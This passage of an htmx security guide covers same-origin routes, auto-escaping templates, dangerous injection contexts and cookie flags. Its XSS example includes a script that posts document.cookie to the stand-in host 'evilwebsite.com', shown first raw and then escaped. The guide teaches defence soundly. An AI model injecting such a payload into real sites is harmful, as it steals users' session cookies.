&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;events&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Search events&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But this is not:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;google.com&#x2F;search?q=events&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Search events&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The reason for this is simple: htmx inserts the response from that route directly into the user’s page. If the response has a malicious &lt;code&gt;&amp;lt;script&amp;gt;&lt;&#x2F;code&gt; inside it, that script can steal the user’s data. When you don’t control the route, you cannot guarantee that whoever does control the route won’t add a malicious script.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately, this is a very easy rule to follow. Hypermedia APIs (i.e. HTML) are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;specific to the layout of your application&lt;&#x2F;a&gt;, so there is almost never any reason you’d &lt;em&gt;want&lt;&#x2F;em&gt; to insert someone else’s HTML into your page. All you have to do is make sure you only call your own routes (htmx 2 will actually disable calling other domains by default).&lt;&#x2F;p&gt;
&lt;p&gt;Though it’s not quite as popular these days, a common SPA pattern was to separate the frontend and backend into different repositories, and sometimes even to serve them from different URLs. This would require using absolute URLs in the frontend, and often, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;CORS&quot;&gt;disabling CORS&lt;&#x2F;a&gt;. With htmx (and, to be fair, modern React with Next.js) this is an anti-pattern.&lt;&#x2F;p&gt;
&lt;p&gt;Instead, you simply serve your HTML frontend from the same server (or at least the same domain) as your backend, and everything else falls into place: you can use relative URLs, you’ll never have trouble with CORS, and you’ll never call anyone else’s backend.&lt;&#x2F;p&gt;
&lt;p&gt;htmx executes HTML; HTML is code; never execute untrusted code.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;always-use-an-auto-escaping-template-engine&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#always-use-an-auto-escaping-template-engine&quot; aria-label=&quot;Anchor link for: always-use-an-auto-escaping-template-engine&quot;&gt;Always use an auto-escaping template engine&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses, and make sure that auto-escaping is on.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few examples.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Language&lt;&#x2F;th&gt;&lt;th&gt;Template Engine&lt;&#x2F;th&gt;&lt;th&gt;Escapes HTML by default?&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;JavaScript&lt;&#x2F;td&gt;&lt;td&gt;Nunjucks&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;JavaScript&lt;&#x2F;td&gt;&lt;td&gt;EJS&lt;&#x2F;td&gt;&lt;td&gt;Yes, with &lt;code&gt;&amp;lt;%= %&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Python&lt;&#x2F;td&gt;&lt;td&gt;DTL&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Python&lt;&#x2F;td&gt;&lt;td&gt;Jinja&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;Sometimes&lt;&#x2F;strong&gt; (Yes, in Flask)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Ruby&lt;&#x2F;td&gt;&lt;td&gt;ERB&lt;&#x2F;td&gt;&lt;td&gt;Yes, with &lt;code&gt;&amp;lt;%= %&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PHP&lt;&#x2F;td&gt;&lt;td&gt;Blade&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Go&lt;&#x2F;td&gt;&lt;td&gt;html&#x2F;template&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Java&lt;&#x2F;td&gt;&lt;td&gt;Thymeleaf&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Rust&lt;&#x2F;td&gt;&lt;td&gt;Tera&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;The kind of vulnerability this prevents is often called a Cross-Site Scripting (XSS) attack, a term that is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Cross_Site_Scripting_Prevention_Cheat_Sheet.html#introduction&quot;&gt;broadly used&lt;&#x2F;a&gt; to mean the injection of any unexpected content into your webpage. Typically, an attacker uses your APIs to store malicious code in your database, which you then serve to your other users who request that info.&lt;&#x2F;p&gt;
&lt;p&gt;For example, let’s say you’re building a dating site, and it lets users share a little bio about themselves. You’d render that bio like this, with &lt;code&gt;{{ user.bio }}&lt;&#x2F;code&gt; being the bio stored in the database:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;{{ user.bio }}
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If a malicious user wrote a bio with a script element in it—like one that sends the client’s cookie to another website—then this HTML will get sent to every user who views that bio:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;fetch&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;evilwebsite.com&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, { method: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;POST&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, body: document.cookie })
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;**
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt; * Replace any characters that could be used to inject a malicious script in an HTML context.
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt; *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;export function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;escapeHtmlText &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;stringValue &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;toString&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;entityMap &lt;&#x2F;span&gt;&lt;span&gt;= {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;amp;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;lt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;lt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&amp;#39;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;#x27;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;`&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;grave;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;=&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&amp;amp;#x3D;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; Match any of the characters inside &#x2F;[ ... ]&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;regex &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;[&amp;amp;&amp;lt;&amp;gt;&amp;quot;&amp;#39;`=&#x2F;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;g
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;stringValue&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;regex&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;match &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;entityMap&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This tiny JS function replaces &lt;code&gt;&amp;lt;&lt;&#x2F;code&gt; with &lt;code&gt;&amp;amp;lt;&lt;&#x2F;code&gt;, &lt;code&gt;&quot;&lt;&#x2F;code&gt; with &lt;code&gt;&amp;amp;quot;&lt;&#x2F;code&gt;, and so on. These characters will still render properly as &lt;code&gt;&amp;lt;&lt;&#x2F;code&gt; and &lt;code&gt;&quot;&lt;&#x2F;code&gt; when they’re used in the text, but can’t be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;script&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  fetch(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;#x27;&lt;&#x2F;span&gt;&lt;span&gt;evilwebsite.com&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;#x27;&lt;&#x2F;span&gt;&lt;span&gt;, { method: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;#x27;&lt;&#x2F;span&gt;&lt;span&gt;POST&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;#x27;&lt;&#x2F;span&gt;&lt;span&gt;, data: document.cookie })
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;script&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;&amp;amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which displays harmlessly as text.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately, as established above, you don’t have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you’re going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;only-serve-user-generated-content-inside-html-tags&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#only-serve-user-generated-content-inside-html-tags&quot; aria-label=&quot;Anchor link for: only-serve-user-generated-content-inside-html-tags&quot;&gt;Only serve user-generated content inside HTML tags&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This is an addendum to the template engine rule, but it’s important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- Don&amp;#39;t include inside script tags --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;userName &lt;&#x2F;span&gt;&lt;span&gt;= {{ user.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;name &lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#f2777a;color:#272b33;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- Don&amp;#39;t include inside CSS tags --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h1 &lt;&#x2F;span&gt;&lt;span&gt;{ color: {{ user.favorite_color }} }
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And, don’t use user-defined attributes or tag names either:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- Don&amp;#39;t allow user-defined tag names --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;{{ user.tag }}&amp;gt;&amp;lt;&#x2F;{{ user.tag }}&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- Don&amp;#39;t allow user-defined attributes --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;{{ user.attribute }}&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- User-defined attribute VALUES are sometimes okay, it depends --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ user.class }}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- Escaped content is always safe inside HTML tags (this is fine) --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;{{ user.name }}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CSS, JavaScript, and HTML attributes are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts&quot;&gt;“dangerous contexts,”&lt;&#x2F;a&gt; places where it’s not safe to allow arbitrary user input, even if it’s escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it’s safest to default to not doing &lt;em&gt;any&lt;&#x2F;em&gt; of these.&lt;&#x2F;p&gt;
&lt;p&gt;Inserting user-generated text directly into a script tag should never be necessary, but there &lt;em&gt;are&lt;&#x2F;em&gt; some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;secure-your-cookies&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#secure-your-cookies&quot; aria-label=&quot;Anchor link for: secure-your-cookies&quot;&gt;Secure your cookies&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser’s best cookie security features. These three in particular:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Secure&lt;&#x2F;code&gt; - only send the cookie via HTTPS, never HTTP&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;HttpOnly&lt;&#x2F;code&gt; - don’t make the cookie available to JavaScript via &lt;code&gt;document.cookie&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt; - don’t allow other sites to use your cookie to make requests, unless it’s just a plain link&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;To understand what these protect you against, let’s go over the basics. If you come from JavaScript SPAs, where it’s common to authenticate using the &lt;code&gt;Authorization&lt;&#x2F;code&gt; header, you might not be familiar with how cookies work. Fortunately they’re very simple. (Please note: this is not an “authentication with htmx” tutorial, just an overview of cookie tokens generally)&lt;&#x2F;p&gt;
&lt;p&gt;If your users log in with a &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt;, their browser will send your server an HTTP request, and your server will send back a response that looks something like this:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#1f2329;color:#abb2bf;&quot;&gt;&lt;code&gt;&lt;span&gt;HTTP&#x2F;2.0 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;Content-Type: text&#x2F;html
&lt;&#x2F;span&gt;&lt;span&gt;Set-Cookie: token=asd8234nsdfp982
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[HTML content]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That token corresponds to the user’s current login session. From now on, every time that user makes a request to any route at &lt;code&gt;yourdomain.com&lt;&#x2F;code&gt;, the browser will include that cookie from &lt;code&gt;Set-Cookie&lt;&#x2F;code&gt; in the HTTP request.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#1f2329;color:#abb2bf;&quot;&gt;&lt;code&gt;&lt;span&gt;GET &#x2F;users HTTP&#x2F;1.1
&lt;&#x2F;span&gt;&lt;span&gt;Host: yourdomain.com
&lt;&#x2F;span&gt;&lt;span&gt;Cookie: token=asd8234nsdfp982
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Each time someone makes a request to your server, it needs to parse out that token and determine if it’s valid. Simple enough.&lt;&#x2F;p&gt;
